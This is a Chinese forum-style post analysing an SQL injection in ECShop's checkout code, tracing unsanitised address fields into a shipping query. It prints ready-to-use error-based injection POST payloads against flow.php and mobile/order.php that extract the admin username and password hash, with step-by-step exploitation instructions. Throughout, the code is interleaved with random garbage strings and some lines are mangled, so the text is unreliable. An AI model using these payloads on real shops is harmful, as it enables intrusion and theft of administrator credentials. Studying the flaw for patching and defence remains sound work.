ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：
! @0 I5 y6 f; _
( t% ^  m% v9 Y/ Y  o2 U" B    /includes/lib_order.php
6 O/ R; N' j2 {/ I2 B$ R
    关键函数：



* y) L1 X9 R# L9 K4 {' m: F; p3 F01     function available_shipping_list($region_id_list)
6 U4 Q3 C- R: q- F
$ S8 i* v: [) `02 {
, D' u) c& Z5 v! X2 u1 u
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
% B! Q. J1 E" u5 p: A+ Q! \
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
$ J! ]! ]! K0 t: h' o1 l! g
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
2 o) |7 G2 O& ^7 m+ k! J( Y8 D
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

3 g3 U  K, M/ Q1 f# u4 y07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
5 A+ d. W/ p5 O' e' h6 R: L
08             'WHERE r.region_id ' . db_create_in($region_id_list) .

& ]1 I$ o) [9 U$ }% m/ l% |0 ]09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   
( f3 u  x+ J% R% {# ?: X( j
11     return $GLOBALS['db']->getAll($sql);

12 }

显然对传入的参数没有任何过滤就带入了查询语句。
9 _. F1 Q3 L* O6 z2 _
下面我们追踪这个函数在flow.php中：
第531行：   
$ c( ?: {5 U7 q) a
& `# q0 ?6 r8 A8 M% u8 S  g1 $shipping_list     = available_shipping_list($region);
3 N: p; j, r" `


5 S5 _* w) ]) J

再对传入变量进行追踪：
. y8 D. x6 O+ G% I: ]3 \( C% o) v
' x8 Z! k% ]3 U$ L6 d. _第530行：   
( @6 S  U1 Q) c7 S  h3 F4 P5 `3 r
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

- @/ L, ]& t' s% p$ X5 Z' H
3 q) [8 l- y+ x: s! ~3 e9 b


第473行：        

' f$ _  m3 x% E1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：
/ t# \0 b+ ^. O: B% B
/includes/lib_order.php
  n6 K, C8 \0 a4 G  _2 L
, l5 i) [4 E# A) i


1 z; _& l5 q  o& i: c$ p$ B; O2 Q
2 Q$ H2 Y+ Z% L& K01 function get_consignee($user_id)
0 v2 b2 c: Q- o6 Y
02 {

03     if (isset($_SESSION['flow_consignee']))

! p) @1 t& n2 ]: H- P- x; {, O04     {
6 o& t; }" K/ N/ W" t
9 [0 ]2 x% E& v1 q1 t' E1 k05         /* 如果存在session，则直接返回session中的收货人信息 */

06   

07         return $_SESSION['flow_consignee'];
0 ]! }5 t% v( c0 K/ y: n
08     }
; W5 Z, v" q3 n0 n/ S4 [; F4 R% y' N
1 x% u% c5 I$ a0 G. y3 _6 `09     else

10     {
8 v( A+ Y4 j7 D0 _1 a8 x! X
11         /* 如果不存在，则取得用户的默认收货人信息 */
) |: H2 N( r. P: y# w% v8 {
: O) ~2 \. z! C: M: N3 A12         $arr = array();

# C* T/ G* ^' G, u, Y8 E13   

8 K0 ]8 v0 n' Y! X14         if ($user_id > 0)

+ W. S$ ^& ^4 e15         {
* m( u# F4 `7 z* T( G( Q
16             /* 取默认地址 */

; P/ b8 V9 `& ]- ]" p" N8 G17             $sql = "SELECT ua.*".
( P& U$ e1 ]) ~( E
, e2 I9 F6 D- r4 w18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
0 O0 @# s- C7 h! R/ j- a5 e
2 s/ M  h2 X5 T2 I9 t  P9 U1 z19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   
* v: `- R9 f1 J  G
3 a) p4 ~4 u/ `) u3 p21             $arr = $GLOBALS['db']->getRow($sql);

5 H' `. W5 |0 N% {: K6 d/ a22         }
8 B% i/ N5 I6 S- m8 T- W6 m
. R+ E+ ?! N3 A+ |. h* c6 @23   

  y/ w: D0 q! N+ l; n2 e) }& @  R24         return $arr;
7 {) C$ f( W4 s2 J/ n! c: J
" n3 b5 t5 _5 D0 s4 `7 {25     }
1 ]( |+ X: y4 {8 D! w
26 }

3 Q; {) P1 F" G0 g. r显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？


$ Q5 o. H/ Z6 M' ~# r$ Q
关键点:

1 v' D9 A. \1 E第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
, a2 N9 e* v! r0 v
5 L+ ^+ r4 I+ }: v这里对传入参数反转义存入$_SESSION中。
8 W* @2 s" K; a0 V! L( f  v6 h  x

, J. ^/ v0 P, a4 H( o1 l# n, p
, D+ c: d1 O% Y然后看下：



; ~0 R6 [4 w) c+ x0 B* `' U; m   

) a( ~6 F0 x- X4 l01 $consignee = array(

4 u$ O2 R# C/ k02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
% K1 N# ?+ _  Y- u. U
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
- _/ k. W0 y7 M* H; H: X  U
4 r# ?1 ^& s  P( |( ^1 [/ I2 A! O0 Z05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
' _, g% [* d# P% b5 T% C
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
6 }' t  ~- i2 {
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

, @- o- O5 n4 Z. M( t10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
2 }. X. n/ f& Z9 h, O6 |
( V/ o2 Q( U1 d+ s3 w11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
+ P+ h5 m  j- v4 p$ \  C) z3 O
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
% D5 Y, _) ~: c2 K1 ~
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
* c3 P( d, r2 b7 `4 W- l5 I
6 v2 v' j( n% a. V' A14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
: Q4 U) K) n7 {. K) }/ ^
7 r' ?2 v, z9 @3 h, g' t  J) N15     );
. _1 L. e, W. P5 S% y$ F( ^+ ]
好了注入就这样出现了。

==================
/ B% L/ b& x* T2 e6 ?# x
- D; Z& {' a  t4 G8 _+ F注入测试：
2 J2 J4 C- {; L! T; u# m" M( v
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

# Q8 @5 i  z6 O测试程序：ECShop_V2.7.3_UTF8_release1106


2 R' P& s- m( _$ I5 e
1.首先需要点击一个商品加入购物车
5 f0 A2 v2 A' o/ ^) f
1 n9 W! d; F  e6 |8 U3 ]5 T2.注册一个会员帐号

9 |8 g5 H! ]* U. D  b( a/ A. d3.post提交数据

2 H6 T( u! X8 ^( _

8 r6 {# F: b! @* V& A1 http://127.0.0.1/ecshop/flow.php

2   
3 l; v8 S' d3 {4 ?6 U+ U
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
0 m; t5 J- i8 ~- j* R举一反三，我们根据这个漏洞我们可以继续深入挖掘：
6 n# O1 c; `7 @2 ^4 a
我们搜寻关键函数function available_shipping_list()
4 R- O+ h$ K# d
3 Y! W, Z& x9 }" o9 m7 o在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
. U3 R" N7 i' ?* L
8 h' K! r' g6 ]* L9 ^) d3 u8 q利用exp:
) B0 b: c9 h7 B6 |8 n
1.点击一个商品，点击购买商标

2.登录会员帐号

3.post提交：

http://127.0.0.1/ecshop/mobile/order.php


. p1 W; P, D6 e
& h+ g8 K- \/ \3 S  Ocountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=